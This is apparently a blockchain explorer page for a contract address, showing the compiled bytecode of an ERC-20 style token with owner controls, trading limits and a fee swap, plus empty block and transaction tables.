04820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6105476012600a611378565b61055590633b9aca00611387565b600f556105646012600a611378565b61057290633b9aca00611387565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ac6012600a611378565b6105ba90633b9aca00611387565b60405190815260200160405180910390a1565b60065461010090046001600160a01b0316336001600160a01b0316146105f257600080fd5b3060009081526001602052604090205480156106115761061181610dee565b476729a2241af62c000081111561062b5761062b81610f68565b5050565b60006103b33384846107f5565b601454600160a01b900460ff16156106965760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e8565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556014805460ff60a01b1916600160a01b179055565b6001600160a01b0383166107335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e8565b6001600160a01b0382166107945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e8565b6001600160a01b0382166108bb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e8565b6000811161091d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e8565b600080546001600160a01b0385811691161480159061094a57506000546001600160a01b03848116911614155b15610c955761097b6064610975600b54600e541161096a5760075461096e565b6009545b8590610fa6565b9061102f565b60065490915060ff1615610a63576013546001600160a01b038481169116148015906109b557506014546001600160a01b03848116911614155b15610a6357326000908152600460205260409020544311610a505760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104e8565b3260009081526004602052604090204390555b6014546001600160a01b038581169116148015610a8e57506013546001600160a01b03848116911614155b8015610ab357506001600160a01b03831660009081526003602052604090205460ff16155b15610b9b57600f54821115610b0a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e8565b60105482610b2d856001600160a01b031660009081526001602052604090205490565b610b37919061139e565b1115610b855760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e8565b600e8054906000610b95836113b1565b91905055505b6014546001600160a01b038481169116148015610bc157506001600160a01b0384163014155b15610bee57610beb6064610975600c54600e5411610be15760085461096e565b600a548590610fa6565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610c2557506014546001600160a01b038581169116145b8015610c3a5750601454600160b01b900460ff165b8015610c47575060115481115b8015610c565750600d54600e54115b15610c9357610c78610c7384610c6e84601254611071565b611071565b610dee565b4766b1a2bc2ec50000811115610c9157610c9147610f68565b505b505b8015610ceb575030600090815260016020526040812054610cb69082611086565b306000908152600160209081526040808320939093556001600160a01b038716825260059052205460ff1615610ceb57600080fd5b6001600160a01b038416600090815260016020526040902054610d0e90836110e5565b6001600160a01b038516600090815260016020526040902055610d53610d3483836110e5565b6001600160a01b03851660009081526001602052604090205490611086565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d9d85856110e5565b60405190815260200160405180910390a350505050565b60008184841115610dd85760405162461bcd60e51b81526004016104e89190611155565b506000610de584866113ca565b95945050505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3657610e366113dd565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb391906113f3565b81600181518110610ec657610ec66113dd565b6001600160a01b039283166020918202929092010152601354610eec91309116846106d1565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f25908590600090869030904290600401611410565b600060405180830381600087803b158015610f3f57600080fd5b505af1158015610f53573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561062b573d6000803e3d6000fd5b600082600003610fb8575060006103b7565b6000610fc48385611387565b905082610fd18583611481565b146110285760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e8565b9392505050565b600061102883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611127565b60008183116110805782611028565b50919050565b600080611093838561139e565b9050838110156110285760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e8565b600061102883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610db4565b600081836111485760405162461bcd60e51b81526004016104e89190611155565b506000610de58486611481565b600060208083528351808285015260005b8181101561118257858101830151858201604001528201611166565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111b857600080fd5b50565b600080604083850312156111ce57600080fd5b82356111d9816111a3565b946020939093013593505050565b6000806000606084860312156111fc57600080fd5b8335611207816111a3565b92506020840135611217816111a3565b929592945050506040919091013590565b60006020828403121561123a57600080fd5b8135611028816111a3565b6000806040838503121561125857600080fd5b8235611263816111a3565b91506020830135611273816111a3565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156112cf5781600019048211156112b5576112b561127e565b808516156112c257918102915b93841c9390800290611299565b509250929050565b6000826112e6575060016103b7565b816112f3575060006103b7565b816001811461130957600281146113135761132f565b60019150506103b7565b60ff8411156113245761132461127e565b50506001821b6103b7565b5060208310610133831016604e8410600b8410161715611352575081810a6103b7565b61135c8383611294565b80600019048211156113705761137061127e565b029392505050565b600061102860ff8416836112d7565b80820281158282048414176103b7576103b761127e565b808201808211156103b7576103b761127e565b6000600182016113c3576113c361127e565b5060010190565b818103818111156103b7576103b761127e565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561140557600080fd5b8151611028816111a3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114605784516001600160a01b03168352938301939183019160010161143b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261149e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a2d7927411306c7b85f1d1f42d81e351d326137d0ebc9b1718f3329c137d754964736f6c63430008130033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.